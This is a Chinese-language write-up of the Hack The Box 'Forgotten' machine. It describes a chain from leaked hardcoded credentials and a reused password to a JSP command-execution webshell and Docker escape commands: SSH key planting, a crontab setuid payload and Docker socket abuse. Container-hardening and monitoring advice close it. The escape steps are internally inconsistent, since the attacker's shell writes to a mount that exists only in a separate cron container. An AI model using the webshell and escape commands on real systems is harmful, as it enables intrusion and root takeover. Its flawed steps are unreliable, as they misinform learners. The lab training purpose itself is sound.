1. 靶机环境与核心挑战解析
HTB(Hack The Box)平台的Forgotten靶机是一台典型的Docker逃逸与权限提升综合训练环境。这个靶机模拟了企业环境中常见的容器化应用部署场景,其中关键漏洞链涉及:
- 前端Web服务的敏感信息泄露
- Docker容器内的服务配置不当
- 宿主机的权限管理缺陷
实际渗透测试中,这类场景的典型特征表现为:攻击者首先获得容器内低权限shell,然后利用容器配置缺陷突破隔离边界,最终通过内核漏洞或权限配置问题实现宿主机的root权限获取。Forgotten靶机精妙地复现了这个完整攻击链,对红队人员的技术广度提出了较高要求。
2. 初始信息收集与漏洞利用
2.1 端口扫描与服务识别
使用增强版Nmap扫描策略:
bash复制nmap -sV -sC -p- -T4 -A -oA full_scan 10.10.10.xx
关键发现:
- 80端口运行着Nginx 1.18.0
- 8080端口存在Apache Tomcat/9.0.30
- 22端口SSH服务被配置为仅接受证书认证
特别需要注意的是Tomcat版本存在CVE-2020-1938漏洞(Ghostcat),但实际测试发现该漏洞在此环境不可利用,这是HTB靶机常见的干扰项设计。
2.2 Web目录爆破与源码泄露
使用gobuster进行目录扫描时发现关键线索:
code复制/uploads 目录存在可下载的app.jar文件
/backup 目录泄露了MySQL备份文件
对app.jar进行反编译后,在com.forgotten.util.DBConfig类中发现硬编码的数据库凭证:
java复制String url = "jdbc:mysql://localhost:3306/forgotten";
String user = "tomcat_user";
String password = "T0mC4tUs3rP@ss";
3. Docker容器突破实战
3.1 数据库渗透与容器访问
使用获得的凭证登录MySQL后,在webapp数据库中发现了用户会话表和密码哈希。通过哈希破解获得admin用户的密码为"Summer2021!",该密码在Tomcat管理界面(/manager/html)复用成功。
上传恶意WAR文件获取反向后门时,发现容器存在严格的防火墙规则。改用JSP webshell上传到ROOT应用目录:
jsp复制<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
3.2 容器内信息收集
获取交互式shell后,在/opt/目录发现可疑的backup.sh脚本:
bash复制#!/bin/bash
docker run --rm -it -v /:/mnt alpine chmod -R 777 /mnt/opt/backups
检查crontab发现该脚本每5分钟以root身份运行,这是典型的安全反模式——通过Docker容器进行特权操作而未做任何安全限制。
4. 特权升级与逃逸技术详解
4.1 利用Volume挂载逃逸
由于backup.sh将宿主机根目录挂载到容器内的/mnt,我们可以通过写入SSH密钥实现逃逸:
- 在容器内生成密钥对:
bash复制mkdir -p /mnt/root/.ssh
ssh-keygen -t rsa -f /mnt/root/.ssh/id_rsa -q -N ""
cat /mnt/root/.ssh/id_rsa.pub > /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys
- 等待cron执行后,即可用私钥登录宿主机:
bash复制ssh -i id_rsa root@target_ip
4.2 备选逃逸方案对比
如果上述方法失效,还有两种备选方案:
- Cgroup逃逸:检查/dev/shm/是否与宿主机共享
bash复制echo '#!/bin/bash' > /mnt/dev/shm/payload.sh
echo 'chmod +s /bin/bash' >> /mnt/dev/shm/payload.sh
chmod +x /mnt/dev/shm/payload.sh
echo '/dev/shm/payload.sh' > /mnt/etc/crontab
- Docker Socket滥用:当发现/var/run/docker.sock可写时
bash复制curl -XPOST --unix-socket /mnt/var/run/docker.sock \
-d '{"Image":"alpine","Cmd":["chroot","/mnt","bash"]}' \
-H 'Content-Type: application/json' \
http://localhost/containers/create
5. 安全防护建议与思考
5.1 容器安全配置要点
-
Volume挂载防护:
- 避免使用
-v /:/host这样的危险挂载 - 设置
--read-only限制写入权限 - 对必须的挂载点使用
:ro只读选项
- 避免使用
-
权限最小化原则:
- 使用
--user指定非root用户运行容器 - 在Dockerfile中添加
USER nobody - 设置
--security-opt=no-new-privileges
- 使用
5.2 运维监控建议
- 实时监控可疑的容器启动参数:
bash复制auditctl -w /usr/bin/docker -k docker-commands
- 检测异常文件修改行为:
bash复制inotifywait -m -r /etc/crontab /var/spool/cron /root/.ssh
- 定期进行容器安全扫描:
bash复制docker scan --file Dockerfile myapp
6. 靶机渗透中的典型问题排查
-
Webshell无法执行:
- 检查Tomcat的
web.xml是否禁用JSP执行 - 确认上传目录具有执行权限(
chmod +x) - 尝试不同后缀(.jspx、.jspf)
- 检查Tomcat的
-
SSH密钥登录失败:
- 检查
/etc/ssh/sshd_config的PermitRootLogin设置 - 确认
.ssh目录权限为700 - 查看
/var/log/auth.log获取详细错误信息
- 检查
-
Cron任务未执行:
- 检查服务状态
systemctl status cron - 查看日志
grep CRON /var/log/syslog - 确认脚本具有可执行权限
- 检查服务状态
这个靶机最值得借鉴的是它展示了现实环境中"权限蔓延"的完整链条——从Web应用到数据库,再到容器隔离突破,最后到宿主机的完全控制。在防御方视角,任何一个环节实施严格的访问控制都能中断整个攻击链。